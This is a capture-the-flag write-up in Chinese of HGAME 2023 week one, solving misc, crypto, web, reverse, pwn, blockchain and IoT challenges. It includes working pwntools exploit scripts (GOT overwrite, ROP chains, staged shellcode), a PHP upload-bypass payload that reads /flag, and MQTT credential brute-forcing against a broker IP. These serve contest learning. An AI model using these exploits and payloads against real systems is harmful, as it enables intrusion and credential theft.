HGAME 2023 将于 1 月 5 日 20:00 正式开始，祝大家玩得开心 :-)
线上赛平台：https://hgame.vidar.club
请尽快注册，注册时请选择校外选手，注册将于 1 月 12 日 20:00 关闭
本次比赛的奖励事宜以及赛后沟通反馈以邮件为主，请各位使用真实的邮件地址
比赛奖金(针对校外榜)：
第1名：1000Pwnhub金币
第2名：800Pwnhub金币
第3名：600Pwnhub金币
4-10名：300Pwnhub金币
补充说明：排行榜分数相同者，以先达到该分数的时间次序划定排名，每位获奖选手额外赠送 Pwnhub 邀请码一个
注意：
* 所有选手均以个人为单位参赛；
* 在解题过程中遇到瓶颈或困难可以私聊出题人
* 禁止所有破坏比赛公平公正的行为，如：散播或与其他人交换 Flag、解题思路，对平台、参赛者或其他人员进行攻击。违者分数作废并取消比赛资格。
* HGAME 线上赛分为四周，每周至官方wp发布前前禁止一切讨论本周题目以及公开自己 wp 的行为。在收集完成后会开放讨论，但仅能讨论已结束的题目。
* 每周比赛结束后本周前20名需提交wp到指定邮箱
本比赛最终解释权归 Vidar-Team 所有

Rank: 1

Misc

Sign In

> 欢迎参加HGAME2023,Base64解码这段Flag，然后和兔兔一起开始你的HGAME之旅吧，祝你玩的愉快！
>
> aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==

签到，base64解码，flag：`hgame{Welcome_To_HGAME2023!}`。

Where am I

> 兔兔回家之前去了一个神秘的地方，并拍了张照上传到网盘，你知道他去了哪里吗？
>
> flag格式为: `hgame{经度时_经度分_经度秒_东经(E)/西经(W)_纬度时_纬度分_纬度秒_南纬(S)/北纬(N)}`，秒精确到小数点后两位
>
> 例如: 11°22'33.99''E, 44°55'11.00''S 表示为 hgame{11_22_3399_E_44_55_1100_S}

wireshark打开流量文件，在TCP流15提取rar文件；

16进制下查看rar文件，查看第24个16进制数为`24`，修改为`20`去除伪加密，解压得到`Exchangeable.jpg`；

查看jpg文件属性，发现GPS经纬度信息，提取经纬度数据按格式得到flag：`hgame{116_24_1488_E_39_54_5418_N}`。

神秘的海报

> 坐车回到家的兔兔听说ek1ng在HGAME的海报中隐藏了一个秘密……（还记得我们的Misc培训吗？

zsteg查看png图片，发现在`b1,rgb,lsb,xy`存在lsb隐写内容：

```
Sure enough, you still remember what we talked about at that time! This is part of the secret:
`hgame{U_KnOw_LSB&W`
I put the rest of the content here, https://drive.google.com/file/d/13kBos3Ixlfwkf3eOzOkJTEqBxm7RUk-G/view?usp=sharing, if you directly access the google drive cloud disk download in China, it will be very slow, you can try to use Scientific Internet access solves the problem of slow or inaccessible access to external network resources. This is my favorite music, there is another part of the secret in the music, I use Steghide to encrypt, the password is also the 6-digit password we agreed at the time, even if someone else finds out here, it should not be so easy to crack (( hope so
```

得到flag前半部分`hgame{U_KnOw_LSB&W`。

到google云盘下载`Bossanova.wav`文件，根据上面文字提示`I use Steghide to encrypt, the password is also the 6-digit password`，使用了`Steghide`工具用6位数字密码隐写信息，爆破密码提取信息：

`stegseek Bossanova.wav rockyou.txt`

解出密码为`123456`，隐写内容：`恭喜你解到这里，剩下的Flag是 av^Mp3_Stego}，我们Week2见！`

flag：`hgame{U_KnOw_LSB&Wav^Mp3_Stego}`

e99p1ant_want_girlfriend

> 兔兔在抢票网站上看到了一则相亲广告，人还有点小帅，但这个图片似乎有点问题，好像是CRC校验不太正确？

16进制下修改png图片的高为更大的值，发现flag：`hgame{e99p1ant_want_a_girlfriend_qq_524306184}`。

Crypto

兔兔的车票

> 兔兔刚买到车票就把车票丢到一旁，自己忙去了。结果再去找车票时发现原来的车票混在了其他东西里，而且票面还被污染了。你能帮兔兔找到它的车票吗。
>
> 注：flag.png已经提前保存在source文件夹下，并且命名为picture{x}.png

```
from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits

flagImg = Image.open('flag.png')
width = flagImg.width
height = flagImg.height

def makeSourceImg():
    colors = long_to_bytes(getrandbits(width * height * 24))[::-1]
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

def xorImg(keyImg, sourceImg):
    img = Image.new('RGB', (width, height))
    for i in range(height):
        for j in range(width):
            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img
"""
source文件夹下面的图片生成过程：
def makeImg():
    colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))
    shuffle(colors)
    colors = bytes(colors)
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

for i in range(15):
    im = makeImg()
    im.save(f"./source/picture{i}.png")
"""
n1 = makeSourceImg()
n2 = makeSourceImg()
n3 = makeSourceImg()
nonce = [n1, n2, n3]

index = list(range(16))
shuffle(index)
e=0


"""
这里flag.png已经提前被保存在source文件夹下了，文件名也是picture{xx}.png
"""

for i in index:
    im = Image.open(f"source/picture{i}.png")
    key = nonce[randint(0, 2)]
    encImg = xorImg(key, im)
    encImg.save(f'pics/enc{e}.png')
```

```
        e+=1
```

15张随机明文图片 $P_{m_k}, k \in [1,15]$ 与1张flag图片 P_f，经过3张密钥图片 $P_k, k \in [1,3]$ 随机异或得到密文图片 $P_{c_k}, k \in [1,16]$，在随机生成明文图片的 `makeImg()` 函数中有概率生成像素为 (0,0,0) 的点，这些点在随机异或操作后，密文图片与密钥图片对应的该点像素值相同，则有：

flag图片对应的密文图片：$P_{c_f}(x,y) = P_f(x,y) \oplus P_{k_a}(x,y)$

非flag随机明文图片对应的密文图片：$P_{c_i}(x,y) = P_{m_i}(x,y) \oplus P_{k_b}(x,y)$，

当满足 $a = b$ 时，即找到使用相同密钥图片加密的两组原始图片，有 $P_{k_a}(x,y) = P_{k_b}(x,y)$，

则 $P_{c_f}(x,y) \oplus P_{c_i}(x,y) = P_f(x,y) \oplus P_{m_i}(x,y)$；

又有大部分随机明文图片的点的像素值为 (0,0,0)，即 $P_{m_i}(x_0,y_0) = 0$，则

$P_{c_f}(x_0,y_0) \oplus P_{c_i}(x_0,y_0) = P_f(x_0,y_0) \oplus P_{m_i}(x_0,y_0) = P_f(x_0,y_0)$

有很大概率可以恢复flag图片。

只需找到满足 $a = b$ 的使用相同密钥图片加密的两组原始图片即可，通过爆破遍历。

```python
from PIL import Image
width = 379
height = 234

def xorImg(keyImg, sourceImg):
    img = Image.new('RGB', (width, height))
    for i in range(height):
        for j in range(width):
            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img

for i in range(16):
    for j in range(16):
        img1 = Image.open(f'pics/enc{i}.png')
        img2 = Image.open(f'pics/enc{j}.png')
        img = xorImg(img1, img2)
        img.save(f'out/img_{i}_{j}.png')
```

得到还原的flag图片，flag：`hgame{Oh_my_Ticket}`。

RSA

> 众所周知，RSA的安全性基于整数分解难题。

```python
from Crypto.Util.number import *

flag = open('flag.txt', 'rb').read()

p = getPrime(512)
q = getPrime(512)
n=p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"c={c}")
print(f"n={n}")

"""
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
"""
```

n 分解出 p, q，常规RSA。

```
p =
112391349878049935867635590281872450576525502195152017686447707338690881853207409384501788161383948443297233114335498994997957756559212616640879970972948 13
q =
120229126614209415925697517318026393750884274634301622521130826196178370109130025154502236569428363780411221638333590979109356384234640062528142669591289 53
n = p*q
c =
110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
e = 65537

f = (p-1)*(q-1)
d = inverse_mod(e,f)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# hgame{factordb.com_is_strong!}
```

Be Stream

> 很喜欢李小龙先生的一句话"Be water my friend"，但是这条小溪的水好像太多了。

```
from flag import flag
assert type(flag) == bytes

key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]

def stream(i):
 if i==0:
     return key[0]
 elif i==1:
     return key[1]
 else:
     return (stream(i-2)*7 + stream(i-1)*4)

enc = b""
for i in range(len(flag)):
 water = stream((i//2)**6) % 256
 enc += bytes([water ^ flag[i]])

print(enc)
# b'\x1a\x15\x05\t\x17\tu"-\x06lm\x01-\xc7\xcc2\x1eXA\x1c\x15\xb7\xdb\x06\x13\xaf\xa1-\x0b\xd4\x91-\x06\x8b\xd4-\x1e\xab\xaa\x15-\xf0\xed\x1f\x17\x1bY'
```

递推关系等同于矩阵运算：

$$s_i = 4s_{i-1} + 7s_{i-2} \Longrightarrow \begin{bmatrix} s_i \\ s_{i-1} \end{bmatrix} = \begin{bmatrix} 4 & 7 \\ 1 & 0 \end{bmatrix} \begin{bmatrix} s_{i-1} \\ s_{i-2} \end{bmatrix} = \begin{bmatrix} 4 & 7 \\ 1 & 0 \end{bmatrix}^{i-1} \begin{bmatrix} s_1 \\ s_0 \end{bmatrix}$$

利用矩阵快速幂快速求值即可。

```
# Sage
enc = list(b'\x1a\x15\x05\t\x17\tu"-\x06lm\x01-\xc7\xcc2\x1eXA\x1c\x15\xb7\xdb\x06\x13\xaf\xa1-\x0b\xd4\x91-\x06\x8b\xd4-\x1e\xab\xaa\x15-\xf0\xed\x1f\x17\x1bY')
key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]
s0, s1 = key

M = matrix(Zmod(256), [[4,7],[1,0]])
A = vector(Zmod(256), [s1,s0])

def stream(x):
    return (M^(x-1)*A)[0]

flag = []
for i in range(len(enc)):
    water = stream((i//2)**6)
    flag += [(int(water) ^^ int(enc[i])) % 128]

print(bytes(flag))

# b'hgame{1f_this_ch@l|eng3_take_yOu_toO_long_time?}'
```

神秘的电话

> 学校突然放假了，tr0uble正在开开心心的收拾东西准备回家，但是手机铃声突然响起，tr0uble接起电话，但是只听到滴答滴答的声音。努力学习密码学的tr0uble一听就知道这是什么，于是马上记录下来并花了亿点时间成功破译了，但是怎么看这都不像是人能看懂的，还没等tr0uble反应过来，又一通电话打来，依然是滴答滴答的声音。tr0uble想到兔兔也在学习密码学，于是不负责任地把密文都交给了兔兔，兔兔收到密文后随便看了一眼就不屑地说"这么简单都不会？自己解去，别耽误我抢车票"。
>
> flag为最后得到的结果套上hgame{}, flag中字母均为小写

txt文件中有提示：

`几个星期前，我们收到一个神秘的消息。但是这个消息被重重加密，我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的：“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。`

从wav文件中手搓摩斯密码：

`----- ..--- ..--- ...-- . ..--.- .-. .-. .. .. -... .-.. -.-- ..--.- ..--.- .... --- -. .-- .- ..--.- .--- -- -. .... ..--.- ..-. --. -.- -.-. --.- .- --- --.- - -- ..-. .-.`

解码：`O223e_priibly__honwa_jmgh_fgkcqaoqtmfr`

根据txt提示，字符串逆序 + 栅栏密码（18栏）得到：`rmocfhm_wo_ybipe2023_ril_hnajg_katfqqg`

由 `2023` 猜测 `ybipe` 对应 `hgame`，尝试Vigenere密码，密钥 `vidar`，得到：`welcome_to_hgame2023_and_enjoy_hacking`

flag：`hgame{welcome_to_hgame2023_and_enjoy_hacking}`

Web

Classic Childhood Game

> 兔兔最近迷上了一个纯前端实现的网页小游戏，但是好像有点难玩，快帮兔兔通关游戏！

js游戏，查看源码，在 `/Res/Events.js` 中找到关键函数：

```
function mota() {
  var a =
['\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68
\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x
6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35'];
  (function (b, e) {
    var f = function (g) {
      while (--g) {
        b['push'](b['shift']());
      }
    };
    f(++e);
  }(a, 0x198));
  var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['CFrzVf'] === undefined) {
      (function () {
        var g;
        try {
          var i = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' +
');');
          g = i();
        } catch (j) {
          g = window;
        }
        var h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        g['atob'] || (g['atob'] = function (k) {
          var l = String(k)['replace'](/=+$/, '');
          var m = '';
          for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ %
0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) {
            p = h['indexOf'](p);
          }
          return m;
        });
      }());
      b['fqlkGn'] = function (g) {
        var h = atob(g);
        var j = [];
        for (var k = 0x0, l = h['length']; k < l; k++) {
          j += '%' + ('00' + h['charCodeAt'](k)['toString'](0x10))['slice'](-0x2);
        }
        return decodeURIComponent(j);
      };
```

```
      b['iBPtNo'] = {};
      b['CFrzVf'] = !![];
    }
    var f = b['iBPtNo'][c];
    if (f === undefined) {
      e = b['fqlkGn'](e);
      b['iBPtNo'][c] = e;
    } else {
      e = f;
    }
    return e;
  };
  alert(atob(b('\x30\x78\x30')));
}
```

在控制台中运行，弹窗内容即为flag：`hgame{fUnnyJavascript&FunnyMOtaG4me}`。

Become A Member

> 学校通知放寒假啦，兔兔兴高采烈的打算购买回家的车票，这时兔兔发现成为购票网站的会员账户可以省下一笔money……
>
> 想成为会员也很简单，只需要一点点HTTP的知识……等下，HTTP是什么，可以吃吗

考察HTTP请求头中的User-Agent、Cookie、来源(Referer)和本地访问(X-Forwarded-For)。

需依次满足：

```
User-Agent: Cute-Bunny
Cookie: code=Vidar
Referer: bunnybunnybunny.com
X-Forwarded-For: 127.0.0.1

JSON
username=luckytoday
password=happy123
```

以JSON格式请求登录即可：

```
GET / HTTP/1.1
Host: week-1.hgame.lwsec.cn:31450
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Cute-Bunny
Referer: bunnybunnybunny.com
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: code=Vidar
Connection: close
Content-Length: 47

{"username":"luckytoday","password":"happy123"}
```

返回flag值：`hgame{HOw_ArE_YOu_TOday?}`。

Guess Who I Am

> 刚加入Vidar的兔兔还认不清协会成员诶，学长要求的答对100次问题可太难了，你能帮兔兔写个脚本答题吗？

查看源码：

```
<!-- Hint: https://github.com/PotatOOOO/Vidar-Website/blob/master/src/scripts/config/member.js -->
```

访问发现为页面问题的答案，以list方式提取数据。

另在js文件中搜索发现页面的3个路由：

获取问题：`/api/getQuestion`，验证答案：`/api/verifyAnswer`，获取分数：`/api/getScore`。

python脚本模拟页面100次回答：

```
data = [
    {
        "id": "ba1van4",
```

```
        "intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 /   粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5erOOQMXROy28nzTiaOA&s=640",
        "url": "https://ba1van4.icu"
    },
    ......
]

dic = {}
for k in data:
    dic[k["intro"]] = k["id"]

s = requests.Session()
url = 'http://week-1.hgame.lwsec.cn:xxxxx'

for i in range(100):
    r = s.get(url+'/api/getQuestion')
    intro = json.loads(r.text)["message"]
    #print(intro)
    r = s.post(url+'/api/verifyAnswer', data={'id':dic[intro]})
    r = s.get(url+'/api/getScore')
    print(r.text)
```

运行得到100次循环后的结果：`{"message":"hgame{Guess_who_i_am^Happy_Crawler}"}`。

Show Me Your Beauty

> 登陆了之前获取的会员账号之后，兔兔想找一张自己的可爱照片，上传到个人信息的头像中 :D
>
> 不过好像可以上传些奇怪后缀名的文件诶 XD

图片文件上传，抓包尝试，文件名存在关键字黑名单，包括 `php/phtml/ini/htaccess` 等；

测试发现可以大小写绕过，将文件名后缀修改为 `Php`，内容修改为 `<?=`cat /flag`;`，上传 `1.Php`，访问即可得到flag：`hgame{Unsave_F1L5_SYS7em_UPLOad!}`。

Reverse

test your IDA

> 签到

IDA打开查看字符串有flag：`hgame{te5t_yOur_IDA}`。

easyasm

> 非常简单的汇编

关键操作在 `xor eax, 33h`，将结果异或0x33即可还原：

```
c = [0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e]
flag = [k^0x33 for k in c]
print(bytes(flag))

# b'hgame{welcOme_tO_re_wor1d!}'
```

easyenc

> easyenc

代码逻辑为逐字符先异或0x32后减86，逆向还原：

```
c = [4, 255, 253,   9,   1, 243, 176,   0,   0,   5,
  240, 173,   7,   6,  23,   5, 235,  23, 253,  23,
  234,   1, 238,   1, 234, 177,   5, 250,   8,   1,
   23, 172, 236,   1, 234, 253, 240,   5,   7,   6,
  249]

flag = [((k+86)^0x32) & 0xff for k in c]
print(bytes(flag))

# b'hgame{4ddit1on_is_a_rever5ible_Operation}'
```

a_cup_of_tea

> 兔兔的家人都爱喝茶，所以兔兔带了些茶叶回去

魔改了delta为 `0xABCDEF23` 的Tea算法，用解密算法还原：

```
from Crypto.Util.number import *

def decrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    x = 0xABCDEF23 * 32
    delta = 0xABCDEF23
    k0 = k[0]
    k1 = k[1]
    k2 = k[2]
    k3 = k[3]
    for i in range(32):
        v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
        v1 = v1 & 0xFFFFFFFF
        v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
        v0 = v0 & 0xFFFFFFFF
        x -= delta
        x = x & 0xFFFFFFFF
    v[0] = v0
    v[1] = v1
    return v

if __name__ == '__main__':
    c = [0x2E63829D, 0xC14E400F, 0x9B39BFB9, 0x5A1F8B14, 0x61886DDE, 0x6565C6CF, 0x9F064F64, 0x236A43F6,
0x7D6B]
    cc = [long_to_bytes(k)[::-1] for k in c]
    key = [0x12345678, 0x23456789, 0x34567890, 0x45678901]
    flag = b''
    for i in range(len(c)//2):
        d = decrypt(c[2*i:2*(i+1)], key)
        flag += long_to_bytes(d[0])[::-1]+long_to_bytes(d[1])[::-1]
    flag += long_to_bytes(c[-1])[::-1]
    print(flag)

# b'hgame{Tea_15_4_v3ry_h3a1thy_drlnk}'
```

encode

> 兔兔把自己行李箱的密码用一种编码写在了纸条上，但他忘了怎么解密，你能帮帮他吗？

代码逻辑为将低4位和高4位分别取出存入 `v4[2*i]` 和 `v4[2*i+1]` ，提取比对字符串 `dword_403000` ，逆向还原：

```
c = [8, 6, 7, 6, 1, 6, 13, 6, 5, 6, 11, 7, 5, 6, 14, 6, 3, 6, 15, 6, 4, 6, 5, 6, 15, 5, 9, 6, 3, 7, 15, 5, 5,
6, 1, 6, 3, 7, 9, 7, 15, 5, 6, 6, 15, 6, 2, 7, 15, 5, 1, 6, 15, 5, 2, 7, 5, 6, 6, 7, 5, 6, 2, 7, 3, 7, 5, 6,
15, 5, 5, 6, 14, 6, 7, 6, 9, 6, 14, 6, 5, 6, 5, 6, 2, 7, 13, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
flag = ''

for i in range(len(c)//2):
    flag += chr((c[2*i+1] << 4) + c[2*i])

print(flag)

# hgame{encode_is_easy_for_a_reverse_engineer}
```

Pwn

test_nc

pwn签到，直接 `cat flag` 得flag。

easy_overflow

简单栈溢出到 `b4ckd0or()` 函数上，特别的一点是用 `close(1)` 关闭了标准输出，可以用 `execv 1>&0` 将标准输出重定向到标准输入，因为默认打开一个终端后，0/1/2都指向同一个位置也就是当前终端，所以这条语句相当于重启了标准输出，此时就可以执行命令并且看得到输出了。

```
from pwn import *

r=remote('week-1.hgame.lwsec.cn',31066)

b4ckd0or=0x401176
pl='a'*(0x10+8)+p64(b4ckd0or)
r.send(pl)

r.interactive()
```

choose_the_seat

> 兔兔在买高铁票时想要选一个好座位。
>
> HINTS:
>
> 数组下标的检查好像少了点东西

由代码逻辑知可以写入bss段，只限制了上限未限制下限，使用负数可打GOT表内容。覆盖 `exit()` 的GOT表为 `main()` 使程序循环，再覆盖 `puts()` 的GOT表泄露 `puts()` 地址计算得到libc基地址，最后覆盖 `puts()` 的GOT表为 `system("/bin/sh\x00")`。

```
from pwn import *

r=remote('week-1.hgame.lwsec.cn',30831)
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')

main=elf.sym.main

r.recvuntil('choose one.\n')
r.sendline('-6')
r.recvline()
r.send(p64(main))

r.recvuntil('choose one.\n')
r.sendline('-9')
r.recvline()
r.send('a'*8)

r.recvuntil('a'*8)
puts_addr=u64(r.recv(6)+'\x00'*2)
print(hex(puts_addr))
base=puts_addr-libc.sym.puts
print(hex(base))

r.recvuntil('choose one.\n')
r.sendline('-9')
r.recvline()
r.send('/bin/sh\x00'+p64(base+libc.sym.system))

r.interactive()
```

orw

> HINTS:
>
> 标题就是考点捏，没思路的可以按照标题查一查
>
> 觉得溢出的不够多？那就先找个地方把ROP链写进去，再把栈迁移过去执行吧

标题表明需orw，但开启了沙盒禁用了 `execve()/execveat()`，`read()` 读的字节数足以用ROP链泄露libc，但溢出字节0x28不足以执行orw，需先做栈迁移后，再执行orw。

```
from pwn import *

r=remote('week-1.hgame.lwsec.cn',30153)
context(arch='amd64')
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
pop_rdi=0x401393
```

```
ret=0x40101a
main=elf.sym.main
puts_plt=elf.plt.puts
puts_got=elf.got.puts

r.recvline()
pl=b'a'*(0x100+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(elf.sym.main)
r.send(pl)
leak=u64(r.recv(6)+b'\x00'*2)
print(hex(leak))
base=leak-libc.sym.puts
print(hex(base))

libc.address=base

def findGadget(gadget):
    return next(libc.search(asm(gadget),executable=True))

bss_rop=0x404048
bss_flag=0x404038
leave_ret=0x4012EE

r.recvline()
r.recvline()
pl=b'a'*(0x100)+p64(bss_rop)+p64(findGadget('pop rsi;ret'))+p64(bss_rop)+p64(libc.sym.read)+p64(leave_ret)
r.send(pl)

pl=b'a'*8+p64(findGadget('pop rsi;ret'))+p64(bss_flag)+p64(libc.sym.read)
pl+=p64(pop_rdi)+p64(bss_flag)+p64(findGadget('pop rsi;ret'))+p64(0)+p64(libc.sym.open) # fd=open('./flag',0)
#3
pl+=p64(pop_rdi)+p64(3)+p64(findGadget('pop rsi;ret'))+p64(bss_rop)+p64(findGadget('pop
rdx;ret'))+p64(0x30)+p64(libc.sym.read) # read(3,buf,0x100)
pl+=p64(pop_rdi)+p64(1)+p64(findGadget('pop rsi;ret'))+p64(bss_rop)+p64(findGadget('pop
rdx;ret'))+p64(0x30)+p64(libc.sym.write) # puts(buf)
r.send(pl)

r.send(b'flag')

r.interactive()
```

simple_shellcode

> HINTS:
>
> 一次read不够多，为什么不再读一次呢？

初看代码像ret2shellcode，但开启了沙盒禁用了 `execve()/execveat()` ，而且 `read()` 只能读入0x10字节。

需要写入shellcode，但需先调用一次 `read()` 以读取更多的字节，再执行orw即可。

```
from pwn import *

r=remote('week-1.hgame.lwsec.cn',31331)
context(arch='amd64')

r.recvline()
pl = asm('''
    xor rdi,rdi
    mov rsi,rdx
    mov rdx,0x100
    syscall
    ''')
print(len(pl))
r.send(pl)

pl = shellcraft.open('./flag')
pl += shellcraft.read('rax','rsp',0x100)
pl += shellcraft.write(1,'rsp',0x100)
pl = asm(pl)
print(len(pl))
print(len(asm(shellcraft.read('rax','rsp',0x100))))
r.send('a'*0xf+pl)

r.interactive()
```

Blockchain

Checkin

> 题目中给出了三个端口，分别是 RPC、水龙头、题目交互端。 由于靶机端口随机，需要选手自行尝试。
>
> 其中，浏览器可直接访问的是水龙头，浏览器直接访问报 403 的是 RPC，浏览器无法访问的是题目交互端，需使用 nc 连接。

nc连接，选1生成账号，在水龙头里转账后，选2生成合约地址，选4查看源码：

```
// contracts/checkin.sol
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

contract Checkin {
    string greeting;

    constructor(string memory _greeting)  {
        greeting = _greeting;
    }

    function greet() public view returns (string memory) {
        return greeting;
    }

    function setGreeting(string memory _greeting) public {
        greeting = _greeting;
    }

    function isSolved() public view returns (bool) {
        string memory expected = "HelloHGAME!";
        return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
    }
}
```

代码逻辑为通过 `setGreeting()` 传入字符串使得 `isSolved()` 返回 `true`，传入的字符串为 `HelloHGAME!` 即满足条件。

尝试在Remix中攻击已生成的合约地址没打通，问出题人知对Remix环境做了限制（防作弊），需采用web3py脚本方式进行攻击：

```
from web3 import Web3, HTTPProvider
import json

# RPC网络环境
rpc = ''
w3 = Web3(HTTPProvider(rpc))
# 检测连通性
print(w3.isConnected())

# Metamask地址
myAccount = ''
# 合约地址
contractAddress = ''
# Metamask私钥
private_key = ''

# abi在Remix上编译.sol源码后获取
abi = json.loads('[{"inputs": [{"internalType": "string","name": "_greeting","type":
"string"}],"stateMutability": "nonpayable","type": "constructor"},{"inputs": [],"name": "greet","outputs":
[{"internalType": "string","name": "","type": "string"}],"stateMutability": "view","type": "function"},
{"inputs": [],"name": "isSolved","outputs": [{"internalType": "bool","name": "","type":
"bool"}],"stateMutability": "view","type": "function"},{"inputs": [{"internalType": "string","name":
"_greeting","type": "string"}],"name": "setGreeting","outputs": [],"stateMutability": "nonpayable","type":
"function"}]')

# 获取合约
contract = w3.eth.contract(address=contractAddress, abi=abi)
nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(myAccount))
# 合约交易定义，调用函数setGreeting
# 事先保证myAccount有足够ether支付gas*gasPrice+value，从水龙头获取ether
tx = contract.functions.setGreeting('HelloHGAME!').buildTransaction({
    'from': Web3.toChecksumAddress(myAccount),
    'gasPrice': w3.eth.gasPrice,
    'nonce': nonce,
    'value': 0,
    })
gas = w3.eth.estimate_gas(tx)
tx['gas'] = gas
print(tx)

# 交易执行
signed_txn = w3.eth.account.signTransaction(tx, private_key)
```

```
print(signed_txn.hash)
print(signed_txn.rawTransaction)

tmp =  w3.eth.sendRawTransaction(signed_txn.rawTransaction.hex())
```

最后nc连接，选4获取flag。

Iot

Help marvin

> 兔兔发现售票的marvin只会吐出三个白头 决定去修一修marvin(-30)
>
> HINTS:
>
> Hint: SPI

给定的是sr文件，解压，根据文件内容搜索知为逻辑分析套件sigrok生成的文件。

使用PulseView工具打开sr文件，在D0/D1/D2有数据，参考 2022DASCTF X SU 三月春季挑战赛 What's In The Bits 以及后放的提示，知符合SPI协议特征。

选择SPI解码器，clock选D0，输入选D2，导出所有解码的01字符：

`00110100001100111011000010110110101100101011110110011010001011111001101010111010000110100011011100110011101100101010111110101001101110000000110001011111`0

去掉头位0，8位一组可还原字符串 `hgame{4_5t4nge_Sp1>`，修正最后一位补足一位1，得 `hgame{4_5t4nge_Sp1}`。

Help the uncle who can't jump twice

> 兔兔在车站门口看到一张塑料凳子,上边坐着一个自称V的男人.他希望你能帮他登上他的大号 Vergil 去那边的公告栏上康康Nero手上的YAMATO怎么样了
>
> broker:117.50.177.240:1883
>
> HINTS:
>
> Hint: mqtt

根据broker地址知使用的MQTT协议，参考 物联网安全实战从零开始-MQTT协议分析 安装mqtt-pwn。

使用命令爆破 Vergil 的密码，指定给定的密码本：

`bruteforce --host 117.50.177.240 --port 1883 -u Vergil -pf password.txt`

得到结果：

`[+] Found valid credentials: Vergil:power`

下载broker连接工具MQTT.fx，使用账密 `Vergil/power` 登录broker，在订阅处输入主题 `Nero/YAMATO`，收到包含flag的信息：`hgame{mqtt_1s_pOw3r}`。